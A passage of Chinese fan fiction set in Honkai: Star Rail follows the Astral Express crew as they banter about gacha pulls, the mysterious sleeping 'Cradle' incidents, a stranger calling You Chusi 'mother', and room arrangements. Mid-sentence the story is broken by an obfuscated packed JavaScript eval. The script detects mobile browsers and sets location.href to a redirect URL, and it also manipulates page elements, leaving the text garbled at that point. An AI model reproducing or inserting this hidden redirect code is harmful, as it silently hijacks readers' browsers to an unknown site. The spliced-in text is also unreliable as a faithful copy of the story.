有初四看着好似刚刚只是随手一举就举了二十几秒的丹恒,若有所思的开口:“丹恒你力气很大啊。” “是你太轻了。”比要矮一头的三月七都要轻,见他不在地上赖着了,把兜里一张纸巾展开,覆在有初四的脸上,把蹭到的痕迹擦拭干净。 “是吗。”被丹恒不算温柔的手法搓得东倒西歪的有初四没多想,这具身体异于常人的地方太多了,说不准哪个是与生俱来的,哪个又是后天造成的。 而星盯着有初四的侧脸,搭在胸前那缕头发上的棱形镜片闪过一道光芒,她突然愣了一下,然后抱着信用点凑上去,还记得有初四不喜欢被人靠近的习惯,星这次学聪明地保持了一个安全的社交距离。 “你个,你能再给我表演一下吗?” “什么?”有初四挠头,突然反应过来:“啊是那个啊,得问问丹恒。” 星疑惑歪头:“问丹恒干什么?” 有初四比她还要疑惑:“那种举起来的动作肯定要问问当事人啊。” 意识到他是在说刚刚的狮子王的星:“……不是那个辛巴!是来一发那个!” 这话一出,周围竖着耳朵心不在焉工作的科研人员瞬间集中了精神。 丹恒朝四周扫了一眼,用击云想都知道这群人脑子里都在想些什么,“是抽卡吗?” “对对对,就是这个!”星感觉自己口袋里的星琼已经迫不及待投入卡池了! 什么啊,原来是抽卡啊,周围的人都叹了口气。 你们又在遗憾些什么啊?! “那个用不了了。”有初四想起那头死因不明的人马虚卒,“最坏的结果说不定是会死。” 星沉默了,她想象了一下自己大小保底吃满连续歪几个版本还要被欧皇跳脸嘲讽,猛地一抖。 “没事的,只要能赌到十连八金的好运气,代价是死又怎么样?”灰发垂落,她猛地抬起头,哭泣着说,“只要有一线生机就会死死抓住,别小瞧我们人类的意志啊!” “所以说不是那个意思啊……”怎么就扯上人类的意志了,不要在奇怪的地方燃起来啊,这把被你用平静表情打完的末日兽置于何地啊。 见星实在不肯放弃,有初四只好拿出了最不能反驳的理由,“这个是有冷却期的,24个系统时呢,之前用在人马虚卒上了,时间还没过一半。”总之能拖就拖。 星大失所望,突然间她似乎又想起什么,火急火燎地跑了。 丹恒:“你可以更直接点。”他知道有初四有不擅长拒绝熟人的习惯,但他和星才相处不到一天,这是不是太快了点? “还不够直接吗?”完全抓错重点的有初四自认为第一次已经拒绝地特别直接了,但星明显是不会轻易放弃的类型,抽卡对她来说好像特别重要。 丹恒盯着他看了好一会儿,就当有初四以为他想和他说些什么的时候,一双手突然搭上他的肩膀,把他转了个方向。 “你还有事情要做吧?”有初四点头,他接下来还得去找艾丝妲了解一下有关自己的事情。 那双握在肩上的手松开了,有初四没有转头,只是问:“丹恒,我怎么觉得你今天怪怪的?” 骤然增加的肢体接触,虽然有初四也很开心同伴能和自己亲近,但总有些刻意,觉得有点不对劲。 看着有初四背对着他的丹恒没有因此作出反应,对方的敏锐察觉在他的意料之内,只是这时候就算给出回答有初四也无法理解。 即便如此。 丹恒突然笑了笑,说:“这是报复。” …… …… 和丹恒预想的一样,有初四确实没办法理解,走在主控舱段的路上他还在想,报复到底是什么意思,最近他有做什么惹丹恒生气的事情吗? 他很少见到丹恒生气,最直观的就是在法塔莫日甘他快要掉下去那次,丹恒的怒火强烈到都快顺着拉他的手臂传递过来了,所以即使是有一部分陌生人的原因,后来他和埃洛克说话也毫不客气。 有初四确信最近没有做什么过分的事情,既然不是生气的那种报复,那就是玩闹的那种了? 他沉默了,无他,这种的可太多了,多到他记不清,也无法分辨到底是哪件事造成丹恒今天的反常。 电梯缓缓降下,有初四一眼就看见了站在中间的艾丝妲。 “事情我都安排好了,我们来谈谈吧。”粉色头发的少女带着些许疲惫,有初四觉得自己来的好像不是时候,起码让她休息一下。 “没事,只是聊聊天而已。”艾丝妲拒绝了他的建议,直入正题。 “你知道,摇篮吗?” 15.超越99%的年轻人 “摇篮”,发生的范围是全银河,出现的原因不明,选取对象不定,被选者陷入不明原因的沉睡,无法被唤醒,只能自行醒来,醒来的时间不定,有的人会是短短几天,有的人则是几年或者几十年,更有的人,会在陷入沉睡中渡过一生。 “首次出现是在八百年前,之后便断断续续的出现在各个星球,而我,就是被摇篮所选中的人之一。” 艾丝妲的眼神带着些复杂,“我仍然记得,幼年时沉睡的梦中被幸福和喜悦包裹,感觉就像是到了乐园里无忧无虑地玩耍,谁知道只是留恋了几天,醒来时就已经过去一个月了。” “梦里所看见的一切都被模糊,只留下些许不清晰的声音,虽然被模糊了梦,但熟悉感依然存在,我曾见一个同样经历过摇篮的人,明明在此之前没有见过面,却隐隐约约觉得熟悉。” 有初四听懂了:“你的意思是我也是其中之一?” 但艾丝妲却摇头了,她说不知道,而众多沉睡又苏醒过来的人,能让她觉得熟悉的就只有寥寥几人。 “你不一样。”艾丝妲看着他满是陌生的眼眸,突然觉得有点难过,“你让我觉得很熟悉,在口中的名字呼之欲出的熟悉。” 这已经是第二个说有初四是特殊的人了,上一个还是埃洛克,他不明白,自己到底特殊在什么地方。 “经过摇篮的现在空间站中正好有,你或许可以和我一起去看看他们,或许能找到些线索。” 被选取的人不算多,加上艾丝妲站长也就整整五个人,其中一个还在修养,而他们在看见有初四的下一秒,都是同样的欲言又止。 “奇怪,我总觉得我认识你。” 他们这么说道。 事情好像变得更复杂了,有初四一脸迷茫地转头去看艾丝妲,只见粉色头发的少女摸着下巴,然后突然双眼一亮。 “我就说怎么那么熟悉呢!原来是,原来是——”她嘴唇开合,又是熟悉的欲言又止。 这是被下了什么规则吗请问…… 这时,一个声音突然插了进来。 “母亲大人!” 艾丝妲摆手:“不对,不是母亲大——” 话还没说完她就僵住了,显然比起刚刚的实在想不起来,这次是说不出口。 “什么母亲大人?”有初四转头看过去,就见一个身穿常服的男性站在一旁,愣愣地看着他。 下一秒,这个突然冒出来的人踉踉跄跄地冲过来,在到达有初四面前时又兀的停下,缓缓伸出来的手指,小心翼翼地扯住了有初四的衣袖。 他小声说:“母亲大人……” 有初四:“啊?” 一脸震惊的蓝眼睛青年,不可置信地伸出手指指着自己。 我是母亲,真的假的? 众所周知,男性不能生孩子,中间忘了,后面忘了,总之有初四不可能有那么大个孩子! 艾丝妲:“不一定,我倒是听说过有男性生育的案例——” 这种时候就别纠结合理性了! 于是他顶着周围人一圈沉默的表情,忍着被陌生人近身的不适感,对着这位扯他衣袖的人说:“你认错人了。” 那个人抬头端详了他好一阵,后知后觉地啊了一声,“你是男的啊。” 居然一开始就没认清性别吗?! “阿里!” 一个明显表情焦急的人在找到他后赶了过来,一边对着有初四道歉一边把扯着他衣袖的手拉开,扶住明显有点站不稳的阿里。 和他外貌相似的年长男性把他拉起来站好后,他又补了一句,“可我还是觉得你是母亲大人。” 有初四悄悄往后退了一步,叹了一口气:“你真的认错人了,我是名副其实的男性。” 你旁边不就是你爸爸吗?想找妈妈去问他才对吧! 艾丝妲小声对他说:“这位就是我说的那个两个月前才醒的摇篮受害者,阿里,他父母都去世了,他身边的那位是他哥哥。” 有初四:“……”我真该死啊!原来他哥哥是因为弟弟长时间昏迷才显得那么老么,真是对不起! 这时候其他几个科研人员也过来说悄悄话,“不过阿里的哥哥长的比较成熟,经常会有人以为他是阿里的父亲。” 成熟到这种程度并不正常吧! “唉,听说他哥哥很小的时候还是正常孩子的模样,父母死后就突然变得成熟了,不管是行为还是样貌。” 有初四:“……我真该死啊。”虽然没有把话说出来,但在心里这么吐槽人家良心真的隐隐作痛。 旁边的艾丝妲不解转头:“啊?” 良心被反复折磨的有初四决定保持沉默,然而在阿里即将被带走的时候,他突然一个猛回头重新想去抱住有初四的大腿。 “母亲大人!” 有初四:“?!” 蓝眼青年就跟应激的猫浑身的猫都炸开了一样,肉眼可见的紧绷,强忍住把突然靠近人一脚踢出去的冲动,极速躲避的动作让他的身体变成了一道残影闪到了艾丝妲身后,警惕地看着被拖住的阿里。 刚刚的一切发生的太快,阿里的动作又太过突然,那一瞬间还真让他的指尖碰到了一点布料,仅仅是一点点就让有初四有些发抖。 躲在娇小女孩身后的青年警惕又厌恶地盯着阿里看,浑身都散发着一种谁都能看出来的信息——不要靠近,不要触碰。 这种眼神让阿里的心口像是被插了一箭,他哥当即给了他后脑勺一下,压着他道歉都就把人拖走了。 有初四狠狠地搓了搓被触碰的那块布料,那种熟悉的恐惧逐渐蔓延上心中,他开始浑身发冷,甚至没等艾丝妲挽留他就一溜烟的跑了。 几位摇篮的受害者在原地面面相觑。 “是被吓跑了吧?” “被吓跑了呢。” “本来还想多问问有关他的事情的。” “?”几人都朝着说最后一句话的那个人看去,只见他挠着头有些不好意思地说:“他给我的感觉真的很亲切。” 说着,还害羞似的脸上浮起红晕。 “你脸红个泡泡茶壶啊?!” 其实或多或少同样有这种感觉的几人在说完这句话后都沉默了,而艾丝妲有别的想法,她觉得“母亲大人”更像是一个称谓,而不是身份。 而被吓到落荒而逃的有初四回到了月台,碰上了正好在交谈的星和姬子,一看到他脸上的表情,姬子老师了然地朝他招了招手,说:“是初四啊。” 有初四控制住自己不去碰大腿,差点被人触碰的那股恶寒挥之不去,却在看到熟悉的人时稍微好了点。 “姬子!”作为列车组的大家长,姬子看一眼就知道他们的小无名客在外面受到了惊吓,她伸出手拍了拍有初四的头,说些其他的来转移他的注意力。 “你来的正好,星正在决定要不要上车。” 意思是他有可能要多一个同伴了吗?成功被转移注意力的有初四瞬间淡化了那股恶寒,转头去看他算是接受良好的人。 不管是同样的失忆,还是清澈到一眼就能见底的眼睛,有初四对星的印象很好。 星也转头过来看他,突然问:“如果我上车了,你会给我抽签吗?” “不会。”有初四想都没想就否定了,他湛蓝色的眼睛盯着人时,时常给人一种眼里只有你的错觉,“既然上车了,那就是同伴,我不希望同伴出事。” 他顿了顿,想起丹恒所说的让自己更直白点,又换了个说法:“我会很在乎你,所以不不会让你因我而死。” 微笑着看他们交流的姬子:“哇哦。” 看来这次空间站之旅初四收获不小,都这么会说话了。 站在后头的丹恒身体一僵,捂住了脸。 而看到他们站一起也凑过来的三月七,刚好就听到了这句话,她呆愣地长大嘴看着一脸认真的有初四,又转头去看被一发直球打的头晕目眩的星,手指胡乱比划了几下,然后双手比出两个大拇指:“小四,干的漂亮!” 星作为被冲击的最直接的人,当场脑子一热就说出了“我不会找你抽签的,你放心!”的话,拜托,这谁能拒绝啊,看看这漂亮的蓝眼睛,这真诚的表情! 越想越觉得脑子热的不够,又是一热就把包里的什么冒险指南旅情见闻全塞到有初四手里了,塞的时候还特意避开了肢体接触,今天我就是要养他,我看谁敢阻止我! 有初四捧着一堆书,缓缓打出一个问号。 这场惊险又刺激的空间站之旅就要告一段落了,在上车前丹恒有去观察过有初四的表情,见他还在看着怀里那堆书发呆,悄悄松了一口气。 看来艾丝妲知道的不算多,否则有初四不会那么平静,看他之前的样子,多半是在交谈的过程中被谁突然吓到了。 三月七直接问了出来:“艾丝妲有说什么吗?” “啊。”有初四一瞬间竟不知道自己该怎么回答,是得知自己的过去越来越扑朔迷离,还是年纪轻轻就被叫妈了,他思考了一下,选了个折中的说法,“我之前,是有孩子的?” 走在旁边的三人齐齐愣住,不可置信地转头来看他。 “啊?” 他又稍加思索:“可能?” “啊??” 三月七眼神呆滞:“小四,告诉我这不是真的……”只是一会儿不见而已,小伙伴竟然连孩子都有了?! 同样被震惊到的星则是上下打量着有初四,他那张过分年轻的脸不像是有孩子的人 “难道说,你居然是长生种族吗?” “别用这种把我开除人籍的语气啊。”理解到和小伙伴的沟通出现了差错,有初四把事情从头说了一遍。 三月七:“所以只是有人称呼你,母亲大人,你就理解为自己以前真的有过孩子吗?” 抱着双臂的丹恒冷漠道:“不,他就是单纯的想吓吓我们。” “三月七你别说了,你说这个称呼让我总觉得哪里怪怪的。”有初四又搓了搓有些发冷的手臂,“我不否认确实有点这个想法,可我觉他这么叫我我不是没有原因的。” 那股由内而外散发的亲昵可做不了假,有初四的从前绝对和摇篮事件脱不开干系。 “对了丹恒,那个摇篮事件……”他还没来得及询问列车的智库管理员,就被抢先问了问题。 “你一直搓着手臂做什么?”丹恒皱眉,上前一步手掌搭在了有初四的手上,随后叹了口气,“你的手很冷,身体也在发抖。” “啊?”有初四想说自己好得很,但温暖的触感让他的手指舒服地在丹恒的掌心里蹭了蹭,“丹恒你的手好温和,” “你生病了。” 有初四歪头,否认道:“没有!我觉得我非常好。”他理直气壮掷地有声,“因为笨蛋是不会生病的!” 发冷怎么了,不就是回忆了一下在小镇里被人群包围的恐惧…… 慢慢的,有初四的脸也唰的一下白了,他瞬间改口:“好吧,我生病了。” 看到他这物理意义上的变脸速度的三月七吓了一跳。 “你的自我认知居然意外的清晰啊小四!”星疯狂摸着下巴,对这位能直接表达出自己是个笨蛋的有初四多了一份佩服。 “现在是该说这个的时候吗?!” 而丹恒则是强硬地摁住了有初四,他面无表情注视着青年坚定的脸说道:“我不要你觉得,我要我觉得。” 无法反抗也不想反抗的有初四乖乖睡下了,三月七临走时又回头看了他一样,脸上满是担忧。 “丹恒你说,小四他其实不在乎他过去的记忆吧?” 三月七是从冰里被救出来的,她什么都不记得,不记得自己在银河中漂泊,也不记得自己为什么会沉睡在冰里,她一直都在寻找着过去,记录着现在,也期待着未来,相信有初四亦是如此,尽管刚醒来的时候害怕得不敢下车,害怕和陌生人接触,她一直都看在眼里,这段旅程小四过的很开心,但在接触到有可能知晓他过去之人时小四明显就变得不对劲了,总是在思考些什么的样子。 思虑过重不是三月七的性格,她只是觉得,她所提醒小四的过去的线索是不是让他有了压力,找回记忆时小四是不是就要下车了。 三月七无措地抬起了头:“丹恒,我是不是好心办坏事了啊?” 列车上的无名客陷入了迷惘怎么办?身为护卫的丹恒自有办法。 “去问问看初四是怎么想的吧,他说过自己比较笨,很多事情,不说出来他是不会知道的。”丹恒不止一次感受到有初四的矛盾,在面对陌生人时敏锐得过分,但在和同伴进行感情交流时除了只能用直觉做出反应外,意外事件会让他有点不知所措。 三月七也确实从有初四那里得到了答案。 他说过去的记忆可有可无,没什么重要的感觉,所以他对找回记忆这件事总是保持着无所谓的态度,至于星上车那天—— 有初四回答:“只是单纯被吓到了所以一时间忘了这件事。”他承认得干脆利落,反正自己抗拒陌生人的接触是整个列车都知道的事,第一时间寻求同伴们的安慰也并不丢脸! 他不执着于过去,也不会很在意更不会有压力,比起和同伴们一起旅行,有初四更倾向于过去只是旅途中的调味剂,要是发现线索了就去询问,得不到准确的回答也不会失望,简单概括就是可以又没必要,有心情了就顺便找找看。 青年如天空般澄澈的蓝眸微弯,他说:“和你们一起旅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549372|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行才是我现在的目的。” 三月七捂住胸口,她瘪瘪嘴,哇地一声叫了出来:“咱要组一辈子的列车组!” 但是,显然某些人的一辈子会比较快。 “不要在这种温馨时刻说那么地狱的旁白啊!” 而丹恒在听到有初四说的话时,大脑宕机了一瞬,然后视角转向了有初四手上被衣袖盖住的银色铃铛,似乎想到了什么。 说话间,有初四的笑容从明亮骤然转变成阴暗,他右手抚上腰间裸露的那块皮肤,不明所以的红痕像个突兀的外来者,蛮横地霸占了这一方领地。 他阴测测地说:“要是碰上把我变成现在这种情况的罪魁祸首,我要把他细细切成臊子!” “……”三月七打了个冷颤。 接下来的几天,有初四发现了一件事,那就是丹恒在和他对视的时候总会不由自主地移开目光,对同伴的事情格外敏感的青年瞬间觉得不对劲,果断把内心的疑问给问了出来。 “为什么不和我对视了,是我的眼睛不好看吗?” 原本还沉默着不知道拿什么态度对待他的丹恒脸一下子就瘫了下来,他无奈地安慰有些委屈的有初四,认真说道:“你的眼睛很好看。” 确实很好看,同样是蓝色,清澈又透亮的蓝在这个人的眼睛里显得格外的纯粹,只是其中细微的变化让他至今都没发觉,猛然察觉到后让他一时间不知道该用什么态度去面对有初四。 “只是我在钻牛角尖罢了。” 有初四不明白是什么意思,他歪头看了丹恒好一会儿,突然说:“我和他不像吗?” 丹恒:“……” 路过的星兀的停下脚步,一只耳朵动了动,满脸写着“看看我听到了什么”凑过来光明正大的偷听。 有初四换了个方向歪头,又道:“我和他你更喜欢谁?”他语气幽怨,明晃晃地指责同伴居然背着他有了更好关系的朋友,争宠的意思也相当明显,明显到对当事人的冲击力不小。 “你——我该说什么好。”丹恒被有初四的话创得两眼一黑,他揉揉太阳穴,只觉得脑袋疼。 他眉心直跳,一把掐住了有初四的后领,像是拎住了不听话的小动物的后颈一样,把人提溜进了智库,关上门的时候还对上了星“没想到你是这种人”的复杂眼神,回头冷酷无情地翻出一份资料,指着对有初四说:“念。” 有初四看着上面大大的“摇篮事件”几个字,觉得丹恒此时的冷脸一点杀伤力都没有,他甚至记得上车前自己问他的题。 关于丹恒人品这点,和他相处了一段时间的星其实是清楚的,也对有初四的性格有所了解,这家伙缺乏某些常识又对熟人没有距离感,经常语出惊人,不过有时候又是故意的,所以她也会跟着配合一下这种小玩笑。 “没想到你还怕丹恒,不像我,无所畏惧!”星嘲笑着最终成功逃之夭夭的有初四,抱起双臂一脸骄傲的表情,有初四则是不屑地哼了一声,啧啧摇头。 “我怕丹恒,那是谣传!一个丹恒,有啥可怕?壮起胆子,把丹恒骗的团团转!” “什么团团转?”突然探头的三月七吓了有初四一跳,他和她对视了一会儿,突然掏出了一沓牌,问道:“要来盘昆O牌吗?” “哼哼,整个列车除了丹恒还没人能胜的了我,我接受你的挑战!” 星大惊失色:“这个梗也太老了吧?!”而且来的也太莫名其妙了,这么无厘头的对话三月七居然能接上,不妙,被同化了! 而打牌中的有初四却心不在焉,他想起刚刚看到的资料,比艾丝妲的口述更为清晰,摇篮事件第一次出现是在仙舟罗浮,一名狐人在行走中突然倒下,而检查发现他只是睡着了,就这么睡了整整一个月才醒来,身体的一切机能都非常正常,和艾丝妲有些许的记忆一样,不同的是醒来的人自称睡着的那段时间好像很害怕,可是在什么地方,因为什么害怕却一概不知。 睡着的人表情如同摇篮中安睡的婴儿一样,带着一股诡异的纯真,所以被称为摇篮事件。 而摇篮事件一开始被认为是一种灾祸,因为被迫睡去又醒来后只觉得害怕和疲惫,好似被什么东西侵蚀,还好修养一段时间这种情况变会消失,风评两极反转则是在一百多年后,被摇篮事件所笼罩的受害者醒来后突然说自己过的很高兴,重拾了对生活的信心,声称做梦的那段时间实在太过美好,要不是有个声音告诉自己还有人等着他们,甚至都不想醒来。 这种沉沦美梦使人流连忘返是会在匹诺康尼出现的情况,区别就在于“做梦”这件事,匹诺康尼不是免费的,而摇篮事件是不管你愿不愿意都要让你做梦。 随着时间的流逝,当然会出现有些患上摇篮事件的人从未醒来直至死亡的事情,有的人说是灾祸和无法治疗的病症,有的人只把它当做身心疲惫之时休息的好地方,不用付出什么代价,只是睡上一段时间,甚至会有人期盼摇篮事件的到来,把他带去美妙的世界长睡不醒。 至于丹恒最近奇怪的行为,有初四并不知道原因,只是出于被躲避视线的不爽,就直接去资料库里堵人了。 直截了当,效果显著,丹恒现在好像调整过来了…… 有初四走神走的时间太长,回过神来的时候就胜负已定了,他遗憾地放下了手里的牌,转身又被无声无息靠过来的丹恒吓了一跳。 他缓慢地眨了下眼,刚放下的牌又举起来,“要来一盘昆O牌吗?” 正在询问三月七打牌有没有星琼拿的星一下子回过头,想躲避话题的意图这么明显,丹恒应该不会接梗吧? 丹恒低头看着坐在沙发上的有初四,双手抱胸点头道:“在打牌方面,列车上我从无败绩,我接受你的挑战。” 星震惊脸,没想到啊没想到,丹恒你也被同化了吗?! 完了,完了!星穹列车的未来一眼就能望到尽头! “有啊,三局两胜,打赢一个人给160星琼呢。” 星慢慢抬起头,迅速转头抓住了准备走掉的三月七,眼里燃起势在必得的火花。 “区区游戏,从现在开始我就是新出世的打牌天才!” 有初四并不擅长靠脑力的游戏,上一次成为抓乌龟之王纯粹是因为他运气比较好——怎么抽签不见那么好的运气? 看着他溃不成军,丹恒突然问:“摇篮事件的资料看过了,有什么想法吗?” “想法啊。”干脆利落地投降后,有初四看着丹恒的眼睛认真地思考了一下,结合之前他所见到的,摇篮事件的人对他的称呼,还有自发生以来被卷进这个事件里的人数,他郑重其事地开了口。 “以前的我居然年纪轻轻就子孙满堂,真是好手段啊。” 丹恒:“……” 16.魅惑力a+ 列车上有了新的同伴,第一件事当然是房间的问题。 “车厢不太够,原本小四是住在最后一间空房里的……”姬子顿了顿,察觉到了不对劲,“我记得,好像就三间房,丹恒住在智库,我和瓦尔·特先生还有小三月各一间,小四住的第五间房——是什么时候出现的?” 不存在的房间增加了,令人细思极恐! 不过这并不是重点,毕竟帕姆都能敲门喊有初四起床吃早餐了,那就说明这个房间是合理存在,不用去探寻是怎么出现的。 “派对车厢的二楼空着,或许……”话还没说完,就被星给打断了,她严肃举手询问:“我可以和小四一起住吗?” 有初四:“……?” 最近因为星和他混熟了可以随意靠近他了,星就一直对他上下其手,不是捏脸就是揉头发的,像是要把欠的都揉回来,姬子已经好几次看见有初四顶着一头乱发恍惚地又进又出了。 “诶?!”三月七把星打量了个遍,“难道说星你其实是男的吗?” 宁愿怀疑起星的性别也不愿意相信她是在搞抽象吗? 丹恒叹了口气:“驳回。” “为什么!”星委屈大喊,从背包里掏出一张照片,上面是一个陌生的灰发男子和有初四躺在一起的画面,照片里的有初四睡着了,而灰发男子朝镜头比了个耶。 看着照片上又陌生又熟悉的灰发男子,有初四大惊:“这谁啊?!” 星声情并茂地大声指责,像是受到了莫大的委屈:“我的同位体可以,为什么我就不行?” “……你是不是说了什么不得了的话?” “那个不重要,总之这不公平!” “这是哪门子不公平啊!” 有初四缓缓举起双手在胸前比了个叉,当即拒绝:“男女禁止同住。” 星石化了,脸上流下两条眼泪,她瘫倒在地上喃喃自语:“居然输在了性别上吗……” 别在这种事情上都要和人争个高低啊! 一直以来都是开拓者想要,开拓者得到的作风,星这还是第一次受挫,她沉默地在地上思考了一下人生,然后手脚并用地爬起抓住有初四的肩膀。 星郑重其事:“小四,为了我变成女孩子吧!” 有初四:“?” 姬子看着这群年轻人又开始了他们毛茸茸的小问题,习以为常地往后退了两步任由他们发挥。 丹恒猝不及防地被创了一下,他扶额:“你要不要听听自己在说什么。” 众所周知,星穹列车新上车的无名客在一些事情上有着非同一般的胜负欲,几人曾多次看见她被黑塔邀请去测模拟宇宙,反复几次鼻青脸肿地滚出来,再顽强地跑回去。 而星现在又和她口中的男性同位体杠上了,仿佛不能和有初四睡一起拍照片炫耀回去就不罢休一样。 有初四提出疑问:“为什么非得睡一起,可以摆拍啊。” 而且…… 不想一个人受苦的小无名客果断把同伴拉下水:“如果要炫耀就我一个怎么够?丹恒和三月七也来吧,左拥右抱岂不是人生赢家?” 三月七和丹恒都转头不可置信地看着一脸认真提建议的有初四。 有福同享,有难同当,相亲相爱的列车一家人当然要一起面对困难。 星对有初四的提议颇为心动,当即就把三人拉去沙发上,腿上躺着三月七,左边挨着丹恒,右边抱着有初四,手拉着手头挨着头,星嘴角上扬,露出一个邪魅的笑容,光是从照片上就能透出的那股子得意感,挑衅炫耀的意思压都压不住。 那么问题来了,拍照的人是谁呢? 瓦尔·特不愧是见过大风大浪的人,只是推推眼镜,把手里的相机还给了三月七。 小矛盾解决了,接下来就要讲正经的了。 当听到派对车厢的事情后,传来了两声惊呼。 星震惊:“什么,派对车厢现在就开了吗?这版本好像不太对吧!” 有初四震惊:“什么,居然还有派对车厢?我一直以为那扇门是摆设!” “那希儿现在是时代的眼泪还是目前第一c啊?” 三月七无奈:“你们说的一个比一个离谱,希儿又是谁啊?” “大招是脑袋发射器,而且因为特效朴素以后出一个角色就被拉出来调侃一次的牢希。” “完全听不懂啊!而且小四你之前不是——”三月七卡住了,她愣了一下开始回想。 几人去派对车厢的时候不知为什么都略过了有初四,也从没有向他介绍过有这么一截车厢,这样看来,有初四对派对车厢毫不知情也很正常。 感觉好像被什么东西操控了一样…… 三月七哆嗦了一下,细思恐极。 这时旁边伸出来一只手搭上了她的肩膀,扭头一看星一脸邪笑凑了过来,几乎是凑在她耳边说的话。 “嘿嘿小三月,你也不想被剧情摆布吧?乖乖把身上的星琼都交出来!” 三月七:“……” 丹恒:“……”不知道为什么拳头自动跑到星头上去了,真是令人费解呢,那股能操纵他们的力量好恐怖,细思恐极啊。 被敲了一下的星捂着头:“明明是你动的手这还要赖到剧情上吗!” “是身体擅自动了。” 有初四:“别用我说过的话来当借口啊!” 吵吵闹闹的车厢内,姬子和瓦尔·特对视后都露出了无奈的笑容。 肆无忌惮地发表第四天灾的言论固然让人觉得舒爽,但后果就是被星琼封住了嘴才能继续讲正事,星“被迫”闭嘴,一脸享受。 而提供堵嘴服务的是有初四,在场所有人包括帕姆都清楚星的性格,如果不能让她安分下来那必定会说事说一半就岔到银河边去了。 帕姆:“你们都没有资格说星乘客帕!” 能玩到一起去的人能正经到哪里去? 至于有初四哪来的星琼?不到啊,它自己出现在背包里的。 只能搜刮宝箱肝度爆表的小开拓者流下了羡慕的泪水。 关于派对车厢的介绍结束后,星兴奋地拉着同样没去过的有初四冲了进去,然后一开门就遇上了传说中的那位机器人。 “欢迎来到派对车厢,亲爱的无名客们,是要开始派对时刻、派对时刻,还是要开始派对时刻呢?” 有初四:“……这不是没得选吗。” 机器人也在他的警惕范围内,这份警惕来自于梦中小镇麋鹿街的垃圾填埋场,第一次见识到的时候他震惊于居然连机器都…… 大型机器不知道什么是恐惧,不知道什么是play,也不知道肌肉怪男形态的有初四为什么会被人们避之不及,它只知道它想要,非常想,现在立刻马上! 然后它就被有初四砸成了一堆废铁。 什么,小镇里不会有人或者动物死亡? 说什么呢,它只是一个机器又算不上人,动物更是八竿子凑不着,死掉不是理所应当的事情吗? 大型机器:这不公平,为我发声啊! 又是一拳锤下,这次是真的无力回天了,站在一堆机械残骸中的有初四爽朗地比出一个大拇指。 但就算是遇见即秒杀,也不可避免地让有初四有了一个认知:世界上的所有东西,不管是活的还是死的都得高度警惕,机械也一样。 所以星在靠近那个机器人的时候,有初四就往她身后躲了躲,只探出半边身体警惕地看着它。 闭嘴:“……” 它看起来有点受伤。 “别介意,小四他对陌生人都很警惕——陌生机也一样,熟悉了就好了。”现在已经能对有初四又搓又揉的星非常具有话语权,这位不知道有什么经历导致他非常恐惧陌生人接触的同伴一开始对她可谓是但凡靠近必后退啊,而且还是有初四的反应里最友好的一种了。 星去了二楼看她的房间,有初四留在原地默默地眼前的闭嘴,一言不发。 “亲爱的无名客,我只是一台调饮机器人,几个琥珀纪来致力于为各位无名客服务,所以……” 闭嘴拿起一个杯子擦了擦:“或许你需要一个笑话放松一下,听听这个——为什么[巡猎]还没追杀到[丰饶],因为药药领先,药药和‘遥遥’谐音,令人忍俊不禁。” 有初四:“……” 闭嘴见过的无名客们都是些很有特色的,其中不乏警惕它的无视它的还有试图把它拆开看看里面什么构造的,但是有初四这种警惕中夹杂着一丝恐惧又强迫自己去适应它的,闭嘴还真是头一回见。 见冷笑话并没有软化有初四的态度,闭嘴再接再厉:“那试试这个——知道哪个区域的人最喜欢一见面就开打吗?答案是仙舟,因为都是[先揍]人,[先揍]和[仙舟]谐音,令人忍俊不禁。” 有初四:“……”虽然不知道仙舟是哪里,但他已经有点蚌埠住了。 罕见地开始畅所欲言的闭嘴再次说道:“我猜你接下来要让我[闭嘴]了,而我的名字也恰好是闭嘴,您能理解吗?这个笑话巧妙地表达了两个意思,令人忍俊不禁。” 有初四:“……”难缠的对手! 闭嘴不解道:“您为何如此警惕?” 有问必答是有初四的好品质,他很直接地说出了原因:“因为我怕你[哔——]我,然后再[哔——],或许还会[哔——],最后[哔——]。” 闭嘴:“?”明显的屏蔽声足以说明眼前这位无名客说了有多么不得了的话,他感觉自己的某个零件好像出了错,以至于连话都听不完全了。 有初四又观察了闭嘴好一会儿,确信这位自称调饮机器人的家伙对自己构不成威胁,才试着放松,又觉得星久久没下来,又没听到什么动静,有初四就也往二楼走去。 然而刚爬楼梯爬到一半,就发现前面的梯子上好像放了什么东西,拿起来一看是一张纸条。 [星核精是一只可爱的小猫咪,小猫咪有了自己的房间,那小猫咪现在会在哪里?] 有初四:“……” 说自己可爱也太自恋了吧,而且自称小猫咪也太令人尴尬了。 “明明是小浣熊!”配色都一样,理所应当! 结果还是因为动物塑的不同而吐槽吗! 再往上又是一张纸条。 [什么东西棕色的,有层次的,咬起来咔嚓作响的,但是却不能吃的?] 谜语人滚出星穹列车! 直到踏上了二楼开了门,有初四才看见了最后一张纸条,它掉落在一个纸箱前,而房间又大又空,只有角落里堆积的纸箱,其中一个纸箱单独在房间中央有点莫名的恐怖片氛围。 有初四走上前捡起纸条打开一看。 [当然是小猫咪最爱的纸箱啦!] 哦,原来是纸箱啊,那纸箱里装的是什么呢?好难猜哦。 他木着脸看纸箱里蹦出一个水灵灵的小无名客,星双手举高大喊:“惊喜!” 有初四:“耶,所以为什么是小猫咪。” 星歪头,没有第一时间回答他的问题,而是问:“比起这个,我刚刚好像听到了很长一段电报声。” 隔着一层楼加房门或许还有个纸箱你都能听到吗? “没什么,我说了点[哔——]的事情而已。”好久不说这种话题,一开口就是一连串的屏蔽,有初四自己也吓了一跳。 但还是头一回知道这件事的星摸着下巴猜测道:“是因为未成年保护?” “你看着我像是未成年的样子吗?” “那我看起来也不像只出生了一个月的样子吧?” “你那是变态发育。” 星抗议道:“不要以貌取星核精啊,虽然我只是刚出生两个月大的宝宝,但是憋了那么久才出生,降世的时候营养过剩长那么高也很正常吧?” “剩过头了啊!” “第一时间居然不是反驳这根本不正常吗?” “星,自己接自己的梗就没有节目效果了……” 